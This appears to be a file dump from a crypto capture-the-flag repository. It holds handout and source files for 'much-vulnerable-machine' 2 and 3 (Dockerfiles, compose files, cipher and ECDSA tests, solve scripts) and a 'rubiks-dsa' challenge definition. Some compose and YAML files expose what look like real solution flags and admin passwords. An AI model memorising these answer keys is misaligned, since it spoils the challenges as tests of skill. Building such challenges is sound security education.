| 22 | [build-system] 23 | requires = ["poetry-core"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-handout/api/tests/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/tests/test_cipher.py: -------------------------------------------------------------------------------- 1 | from random import getrandbits 2 | 3 | import pytest 4 | from Crypto.Util.number import long_to_bytes 5 | from mvmcryption.crypto.cipher import SCBCCipher 6 | 7 | 8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 9 | @pytest.mark.parametrize("d", [1337, 895]) 10 | def test_scbccipher(msg: bytes, d: int): 11 | key = long_to_bytes(d, 16) 12 | ciph = SCBCCipher(key) 13 | 14 | iv = long_to_bytes(getrandbits(128), 16) 15 | ct = ciph.encrypt(msg, iv) 16 | 17 | assert ct 18 | assert msg == ciph.decrypt(ct, iv) 19 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/api/tests/test_ecdsa.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature 3 | 4 | 5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 6 | @pytest.mark.parametrize("d", [1337, 895]) 7 | def test_ecdsa(msg: bytes, d: int): 8 | ecdsa = ECDSA(d) 9 | sig = ecdsa.sign(msg) 10 | 11 | assert ecdsa.verify(sig, msg) 12 | 13 | 14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 15 | @pytest.mark.parametrize("d", [1337, 895]) 16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int): 17 | ecdsa = ECDSA(d) 18 | sig = ecdsa.sign(msg) 19 | encoded_sig = encode_signature(sig) 20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg) 21 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-handout/compose.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # local only! 3 | 4 | services: 5 | api: 6 | build: 7 | context: ./api 8 | ports: 9 | - "8000:8000" 10 | environment: 11 | - DB_PATH=/tmp/database.db 12 | - ADMIN_PASSWORD=somenotbrutablepassword 13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr} 14 | - ENV=DEV 15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"] 16 | volumes: 17 | - ./api:/app 18 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-solution/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -rf tmp 4 | 5 | cp -r ../challenge-src/api tmp 6 | cp solve.py tmp 7 | 8 | cd tmp && git clone https://github.com/jvdsn/crypto-attacks/ ./cryptoattacks 9 | 10 | python3 ./solve.py 11 | 12 | cd .. 13 | 14 | rm -rf tmp -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-slim 2 | 3 | ENV PYTHONUNBUFFERED=1 \ 4 | POETRY_VIRTUALENVS_CREATE=false 5 | 6 | WORKDIR /app 7 | 8 | COPY pyproject.toml poetry.lock ./ 9 | 10 | RUN pip install --no-cache-dir poetry \ 11 | && poetry config virtualenvs.create false \ 12 | && poetry install --only main --no-interaction --no-ansi --no-root \ 13 | && apt update \ 14 | && apt install -y --no-install-recommends wait-for-it \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | 18 | COPY . . 19 | 20 | EXPOSE 8000 21 | 22 | CMD ["fastapi", "run", "./mvmcryption/app.py"] 23 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/crypto/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/db/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from mvmcryption.environ import getenv 4 | 5 | from .db import connect 6 | from .users import Users 7 | 8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD") 9 | 10 | TABLE_QUERY = """ 11 | CREATE TABLE IF NOT EXISTS users ( 12 | id INTEGER PRIMARY KEY, 13 | username VARCHAR(50) NOT NULL UNIQUE, 14 | email VARCHAR(100) NOT NULL UNIQUE, 15 | password VARCHAR(100) NOT NULL 16 | ); 17 | """ 18 | 19 | 20 | def initialize() -> None: 21 | with connect() as conn: 22 | conn.executescript(TABLE_QUERY) 23 | try: 24 | Users(conn).create( 25 | username="admin", 26 | email="admin@this-company-luckily-does-not-exist.mvm", 27 | password=ADMIN_PASSWORD, 28 | ) 29 | except Exception as e: # maybe it already exists 30 | print(e) 31 | 32 | 33 | __all__ = [ 34 | "Users", 35 | "initialize", 36 | ] 37 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/environ.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def getenv(key: str) -> str: 5 | """Get environment variable and raise an error if it is unset.""" 6 | if val := os.getenv(key): 7 | return val 8 | msg = "ENV variable %s is required!" 9 | raise OSError(msg % key) 10 | 11 | 12 | IS_DEV = os.getenv("ENV") == "DEV" 13 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/resp.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from fastapi import HTTPException, status 4 | 5 | PERMISSION_DENIED = HTTPException( 6 | status_code=status.HTTP_403_FORBIDDEN, 7 | detail="Permission denied.", 8 | ) 9 | 10 | 11 | def not_found(model: object) -> HTTPException: 12 | return HTTPException( 13 | status_code=status.HTTP_404_NOT_FOUND, 14 | detail=f"{model.__name__} not found.", 15 | ) 16 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/routers/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import auth_router as auth 2 | from .crypto import crypto_router as crypto 3 | from .users import users_router as users 4 | 5 | __all__ = [ 6 | "auth", 7 | "crypto", 8 | "users", 9 | ] 10 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/mvmcryption/utils.py: -------------------------------------------------------------------------------- 1 | from base64 import urlsafe_b64decode, urlsafe_b64encode 2 | 3 | 4 | def encode(content: bytes | str) -> str: 5 | def _encode(): 6 | if isinstance(content, str): 7 | return urlsafe_b64encode(content.encode()).decode() 8 | return urlsafe_b64encode(content).decode() 9 | 10 | return _encode().replace("=", "") 11 | 12 | 13 | def decode(content: str | bytes) -> bytes: 14 | rem = len(content) % 4 15 | 16 | if rem > 0: 17 | try: 18 | content += b"=" * (4 - rem) 19 | except Exception: 20 | content += "=" * (4 - rem) 21 | 22 | if isinstance(content, str): 23 | return urlsafe_b64decode(content.encode()) 24 | return urlsafe_b64decode(content) 25 | 26 | 27 | def chunk(stuff: bytes): 28 | """Chunk stuff into 16 byte blocks.""" 29 | 30 | assert len(stuff) 31 | assert len(stuff) % 16 == 0 32 | blocks = [] 33 | for i in range(0, len(stuff), 16): 34 | blocks.append(stuff[i : i + 16]) 35 | return blocks 36 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "mvmcryption" 3 | version = "0.0.0" 4 | description = "much secure" 5 | authors = ["xtea418"] 6 | readme = "README.md" 7 | 8 | [tool.poetry.dependencies] 9 | python = "^3.12" 10 | pycryptodome = "^3.21.0" 11 | pydantic = "^2.10.2" 12 | fastapi = {extras = ["standard"], version = "^0.115.5"} 13 | argon2-cffi = "^23.1.0" 14 | fastecdsa = "^3.0.0" 15 | pwntools = "^4.14.0" 16 | 17 | 18 | [tool.poetry.group.dev.dependencies] 19 | ruff = "^0.9.2" 20 | pytest = "^8.3.4" 21 | 22 | [build-system] 23 | requires = ["poetry-core"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-2/challenge-src/api/tests/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/tests/test_cipher.py: -------------------------------------------------------------------------------- 1 | from random import getrandbits 2 | 3 | import pytest 4 | from Crypto.Util.number import long_to_bytes 5 | from mvmcryption.crypto.cipher import SCBCCipher 6 | 7 | 8 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 9 | @pytest.mark.parametrize("d", [1337, 895]) 10 | def test_scbccipher(msg: bytes, d: int): 11 | key = long_to_bytes(d, 16) 12 | ciph = SCBCCipher(key) 13 | 14 | iv = long_to_bytes(getrandbits(128), 16) 15 | ct = ciph.encrypt(msg, iv) 16 | 17 | assert ct 18 | assert msg == ciph.decrypt(ct, iv) 19 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/api/tests/test_ecdsa.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature 3 | 4 | 5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 6 | @pytest.mark.parametrize("d", [1337, 895]) 7 | def test_ecdsa(msg: bytes, d: int): 8 | ecdsa = ECDSA(d) 9 | sig = ecdsa.sign(msg) 10 | 11 | assert ecdsa.verify(sig, msg) 12 | 13 | 14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 15 | @pytest.mark.parametrize("d", [1337, 895]) 16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int): 17 | ecdsa = ECDSA(d) 18 | sig = ecdsa.sign(msg) 19 | encoded_sig = encode_signature(sig) 20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg) 21 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-2/challenge-src/compose.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # local only! 3 | 4 | services: 5 | api: 6 | build: 7 | context: ./api 8 | ports: 9 | - "8000:8000" 10 | environment: 11 | - DB_PATH=/tmp/database.db 12 | - ADMIN_PASSWORD=somenotbrutablepassword 13 | - FLAG=MVM{wh0444444_f4k3_fl4g_g0_brrrrrr} 14 | - ENV=DEV 15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"] 16 | volumes: 17 | - ./api:/app 18 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-slim 2 | 3 | ENV PYTHONUNBUFFERED=1 \ 4 | POETRY_VIRTUALENVS_CREATE=false 5 | 6 | WORKDIR /app 7 | 8 | COPY pyproject.toml poetry.lock ./ 9 | 10 | RUN pip install --no-cache-dir poetry \ 11 | && poetry config virtualenvs.create false \ 12 | && poetry install --only main --no-interaction --no-ansi --no-root \ 13 | && apt update \ 14 | && apt install -y --no-install-recommends wait-for-it \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | 18 | COPY . . 19 | 20 | EXPOSE 8000 21 | 22 | CMD ["fastapi", "run", "./mvmcryption/app.py"] 23 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/crypto/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/db/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from mvmcryption.environ import getenv 4 | 5 | from .db import connect 6 | from .users import Users 7 | 8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD") 9 | 10 | TABLE_QUERY = """ 11 | CREATE TABLE IF NOT EXISTS users ( 12 | id INTEGER PRIMARY KEY, 13 | username VARCHAR(50) NOT NULL UNIQUE, 14 | email VARCHAR(100) NOT NULL UNIQUE, 15 | password VARCHAR(100) NOT NULL 16 | ); 17 | """ 18 | 19 | 20 | def initialize() -> None: 21 | with connect() as conn: 22 | conn.executescript(TABLE_QUERY) 23 | try: 24 | Users(conn).create( 25 | username="admin", 26 | email="admin@this-company-luckily-does-not-exist.mvm", 27 | password=ADMIN_PASSWORD, 28 | ) 29 | except Exception as e: # maybe it already exists 30 | print(e) 31 | 32 | 33 | __all__ = [ 34 | "Users", 35 | "initialize", 36 | ] 37 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/environ.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def getenv(key: str) -> str: 5 | """Get environment variable and raise an error if it is unset.""" 6 | if val := os.getenv(key): 7 | return val 8 | msg = "ENV variable %s is required!" 9 | raise OSError(msg % key) 10 | 11 | 12 | IS_DEV = os.getenv("ENV") == "DEV" 13 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/resp.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from fastapi import HTTPException, status 4 | 5 | PERMISSION_DENIED = HTTPException( 6 | status_code=status.HTTP_403_FORBIDDEN, 7 | detail="Permission denied.", 8 | ) 9 | 10 | 11 | def not_found(model: object) -> HTTPException: 12 | return HTTPException( 13 | status_code=status.HTTP_404_NOT_FOUND, 14 | detail=f"{model.__name__} not found.", 15 | ) 16 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/routers/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import auth_router as auth 2 | from .crypto import crypto_router as crypto 3 | from .users import users_router as users 4 | 5 | __all__ = [ 6 | "auth", 7 | "crypto", 8 | "users", 9 | ] 10 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/mvmcryption/utils.py: -------------------------------------------------------------------------------- 1 | from base64 import urlsafe_b64decode, urlsafe_b64encode 2 | 3 | 4 | def encode(content: bytes | str) -> str: 5 | def _encode(): 6 | if isinstance(content, str): 7 | return urlsafe_b64encode(content.encode()).decode() 8 | return urlsafe_b64encode(content).decode() 9 | 10 | return _encode().replace("=", "") 11 | 12 | 13 | def decode(content: str | bytes) -> bytes: 14 | rem = len(content) % 4 15 | 16 | if rem > 0: 17 | try: 18 | content += b"=" * (4 - rem) 19 | except Exception: 20 | content += "=" * (4 - rem) 21 | 22 | if isinstance(content, str): 23 | return urlsafe_b64decode(content.encode()) 24 | return urlsafe_b64decode(content) 25 | 26 | 27 | def chunk(stuff: bytes): 28 | """Chunk stuff into 16 byte blocks.""" 29 | 30 | assert len(stuff) 31 | assert len(stuff) % 16 == 0 32 | blocks = [] 33 | for i in range(0, len(stuff), 16): 34 | blocks.append(stuff[i : i + 16]) 35 | return blocks 36 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "mvmcryption" 3 | version = "0.0.0" 4 | description = "much secure" 5 | authors = ["xtea418"] 6 | readme = "README.md" 7 | 8 | [tool.poetry.dependencies] 9 | python = "^3.12" 10 | pycryptodome = "^3.21.0" 11 | pydantic = "^2.10.2" 12 | fastapi = {extras = ["standard"], version = "^0.115.5"} 13 | argon2-cffi = "^23.1.0" 14 | fastecdsa = "^3.0.0" 15 | pwntools = "^4.14.0" 16 | 17 | 18 | [tool.poetry.group.dev.dependencies] 19 | ruff = "^0.9.2" 20 | pytest = "^8.3.4" 21 | 22 | [build-system] 23 | requires = ["poetry-core"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-handout/api/tests/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/tests/test_cipher.py: -------------------------------------------------------------------------------- 1 | from random import getrandbits, seed 2 | 3 | import pytest 4 | from Crypto.Util.number import long_to_bytes 5 | from mvmcryption.crypto.cipher import XSCBCCipher 6 | from mvmcryption.crypto.rsa import RSA 7 | 8 | 9 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 10 | @pytest.mark.parametrize("d", [1337, 895]) 11 | def test_xscbccipher(msg: bytes, d: int): 12 | key = long_to_bytes(d, 16) 13 | rsa = RSA() 14 | ciph = XSCBCCipher(key, rsa) 15 | 16 | seed(69) 17 | iv = long_to_bytes(getrandbits(128), 16) 18 | seed(69) 19 | ct, sig = ciph.encrypt(msg) 20 | 21 | assert ct 22 | assert sig 23 | 24 | assert msg == ciph.decrypt(ct, sig, iv) 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/api/tests/test_ecdsa.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature 3 | 4 | 5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 6 | @pytest.mark.parametrize("d", [1337, 895]) 7 | def test_ecdsa(msg: bytes, d: int): 8 | ecdsa = ECDSA(d) 9 | sig = ecdsa.sign(msg) 10 | 11 | assert ecdsa.verify(sig, msg) 12 | 13 | 14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 15 | @pytest.mark.parametrize("d", [1337, 895]) 16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int): 17 | ecdsa = ECDSA(d) 18 | sig = ecdsa.sign(msg) 19 | encoded_sig = encode_signature(sig) 20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg) 21 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-handout/compose.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # local only! 3 | 4 | services: 5 | api: 6 | build: 7 | context: ./api 8 | ports: 9 | - "8000:8000" 10 | environment: 11 | - DB_PATH=/tmp/database.db 12 | - ADMIN_PASSWORD=somenotbruteforceablepasswordbrrrrrrrrrr 13 | - FLAG=MVM{f4k3_fl4g} 14 | - ENV=DEV 15 | command: ["fastapi", "dev", "./mvmcryption/app.py", "--host", "0.0.0.0"] 16 | volumes: 17 | - ./api:/app 18 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-solution/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | rm -rf tmp 4 | 5 | cp -r ../challenge-src/api tmp 6 | cp solve.py tmp 7 | 8 | cd tmp && git clone https://github.com/jvdsn/crypto-attacks/ ./cryptoattacks 9 | 10 | python3 ./solve.py 11 | 12 | cd .. 13 | 14 | rm -rf tmp -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-slim 2 | 3 | ENV PYTHONUNBUFFERED=1 \ 4 | POETRY_VIRTUALENVS_CREATE=false 5 | 6 | WORKDIR /app 7 | 8 | COPY pyproject.toml poetry.lock ./ 9 | 10 | RUN pip install --no-cache-dir poetry \ 11 | && poetry config virtualenvs.create false \ 12 | && poetry install --only main --no-interaction --no-ansi --no-root \ 13 | && apt update \ 14 | && apt install -y --no-install-recommends wait-for-it \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | 18 | COPY . . 19 | 20 | EXPOSE 8000 21 | 22 | CMD ["fastapi", "run", "./mvmcryption/app.py"] 23 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/crypto/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/db/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from mvmcryption.environ import getenv 4 | 5 | from .db import connect 6 | from .users import Users 7 | 8 | ADMIN_PASSWORD = getenv("ADMIN_PASSWORD") 9 | 10 | TABLE_QUERY = """ 11 | CREATE TABLE IF NOT EXISTS users ( 12 | id INTEGER PRIMARY KEY, 13 | username VARCHAR(50) NOT NULL UNIQUE, 14 | email VARCHAR(100) NOT NULL UNIQUE, 15 | password VARCHAR(100) NOT NULL 16 | ); 17 | """ 18 | 19 | 20 | def initialize() -> None: 21 | with connect() as conn: 22 | conn.executescript(TABLE_QUERY) 23 | try: 24 | Users(conn).create( 25 | username="admin", 26 | email="admin@this-company-luckily-does-not-exist.mvm", 27 | password=ADMIN_PASSWORD, 28 | ) 29 | except Exception as e: # maybe it already exists 30 | print(e) 31 | 32 | 33 | __all__ = [ 34 | "Users", 35 | "initialize", 36 | ] 37 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/environ.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | def getenv(key: str) -> str: 5 | """Get environment variable and raise an error if it is unset.""" 6 | if val := os.getenv(key): 7 | return val 8 | msg = "ENV variable %s is required!" 9 | raise OSError(msg % key) 10 | 11 | 12 | IS_DEV = os.getenv("ENV") == "DEV" 13 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/resp.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from fastapi import HTTPException, status 4 | 5 | PERMISSION_DENIED = HTTPException( 6 | status_code=status.HTTP_403_FORBIDDEN, 7 | detail="Permission denied.", 8 | ) 9 | 10 | 11 | def not_found(model: object) -> HTTPException: 12 | return HTTPException( 13 | status_code=status.HTTP_404_NOT_FOUND, 14 | detail=f"{model.__name__} not found.", 15 | ) 16 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/routers/__init__.py: -------------------------------------------------------------------------------- 1 | from .auth import auth_router as auth 2 | from .crypto import crypto_router as crypto 3 | from .users import users_router as users 4 | 5 | __all__ = [ 6 | "auth", 7 | "crypto", 8 | "users", 9 | ] 10 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/mvmcryption/utils.py: -------------------------------------------------------------------------------- 1 | from base64 import urlsafe_b64decode, urlsafe_b64encode 2 | 3 | 4 | def encode(content: bytes | str) -> str: 5 | def _encode(): 6 | if isinstance(content, str): 7 | return urlsafe_b64encode(content.encode()).decode() 8 | return urlsafe_b64encode(content).decode() 9 | 10 | return _encode().replace("=", "") 11 | 12 | 13 | def decode(content: str | bytes) -> bytes: 14 | rem = len(content) % 4 15 | 16 | if rem > 0: 17 | try: 18 | content += b"=" * (4 - rem) 19 | except Exception: 20 | content += "=" * (4 - rem) 21 | 22 | if isinstance(content, str): 23 | return urlsafe_b64decode(content.encode()) 24 | return urlsafe_b64decode(content) 25 | 26 | 27 | def chunk(stuff: bytes): 28 | """Chunk stuff into 16 byte blocks.""" 29 | 30 | assert len(stuff) 31 | assert len(stuff) % 16 == 0 32 | blocks = [] 33 | for i in range(0, len(stuff), 16): 34 | blocks.append(stuff[i : i + 16]) 35 | return blocks 36 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "mvmcryption" 3 | version = "0.0.0" 4 | description = "much secure" 5 | authors = ["xtea418"] 6 | readme = "README.md" 7 | 8 | [tool.poetry.dependencies] 9 | python = "^3.12" 10 | pycryptodome = "^3.21.0" 11 | pydantic = "^2.10.2" 12 | fastapi = {extras = ["standard"], version = "^0.115.5"} 13 | argon2-cffi = "^23.1.0" 14 | fastecdsa = "^3.0.0" 15 | pwntools = "^4.14.0" 16 | 17 | 18 | [tool.poetry.group.dev.dependencies] 19 | ruff = "^0.9.2" 20 | pytest = "^8.3.4" 21 | 22 | [build-system] 23 | requires = ["poetry-core"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/crypto/much-vulnerable-machine-3/challenge-src/api/tests/__init__.py -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/tests/test_cipher.py: -------------------------------------------------------------------------------- 1 | from random import getrandbits, seed 2 | 3 | import pytest 4 | from Crypto.Util.number import long_to_bytes 5 | from mvmcryption.crypto.cipher import XSCBCCipher 6 | from mvmcryption.crypto.rsa import RSA 7 | 8 | 9 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 10 | @pytest.mark.parametrize("d", [1337, 895]) 11 | def test_xscbccipher(msg: bytes, d: int): 12 | key = long_to_bytes(d, 16) 13 | rsa = RSA() 14 | ciph = XSCBCCipher(key, rsa) 15 | 16 | seed(69) 17 | iv = long_to_bytes(getrandbits(128), 16) 18 | seed(69) 19 | ct, sig = ciph.encrypt(msg) 20 | 21 | assert ct 22 | assert sig 23 | 24 | assert msg == ciph.decrypt(ct, sig, iv) 25 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/api/tests/test_ecdsa.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from mvmcryption.crypto.ecdsa import ECDSA, decode_signature, encode_signature 3 | 4 | 5 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 6 | @pytest.mark.parametrize("d", [1337, 895]) 7 | def test_ecdsa(msg: bytes, d: int): 8 | ecdsa = ECDSA(d) 9 | sig = ecdsa.sign(msg) 10 | 11 | assert ecdsa.verify(sig, msg) 12 | 13 | 14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}']) 15 | @pytest.mark.parametrize("d", [1337, 895]) 16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int): 17 | ecdsa = ECDSA(d) 18 | sig = ecdsa.sign(msg) 19 | encoded_sig = encode_signature(sig) 20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg) 21 | -------------------------------------------------------------------------------- /crypto/much-vulnerable-machine-3/challenge-src/compose.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # local only! 3 | 4 | services: 5 | api: 6 | build: 7 | context: ./api 8 | ports: 9 | - "8000:8000" 10 | environment: 11 | - DB_PATH=/tmp/database.db 12 | - ADMIN_PASSWORD=kjfkasjdfkldsaklfjklsadjflksjflkjfljfkl 13 | - FLAG=MVM{sm4l_crt_3xp0nen7s_b4d_l0l} 14 | -------------------------------------------------------------------------------- /crypto/rubiks-dsa/challenge-src: -------------------------------------------------------------------------------- 1 | challenge-handout -------------------------------------------------------------------------------- /crypto/rubiks-dsa/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: rubiks-dsa 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - crypto 10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet 11 | author: alex_hcsc 12 | flag: MVM{sp1cy_rUb1k5_ds4} 13 | flagFormat: MVM{...} 14 | description: | 15 | I made a digital signature algorithm based on the Rubik's cube, can you break it? 16 | PS: the solve script might run for a few minutes 17 | hideUntil: "2025-01-25T18:00:00+00:00" 18 | attachments: 19 | - fileName: rubiks-dsa.tar.gz 20 | downloadUrl: 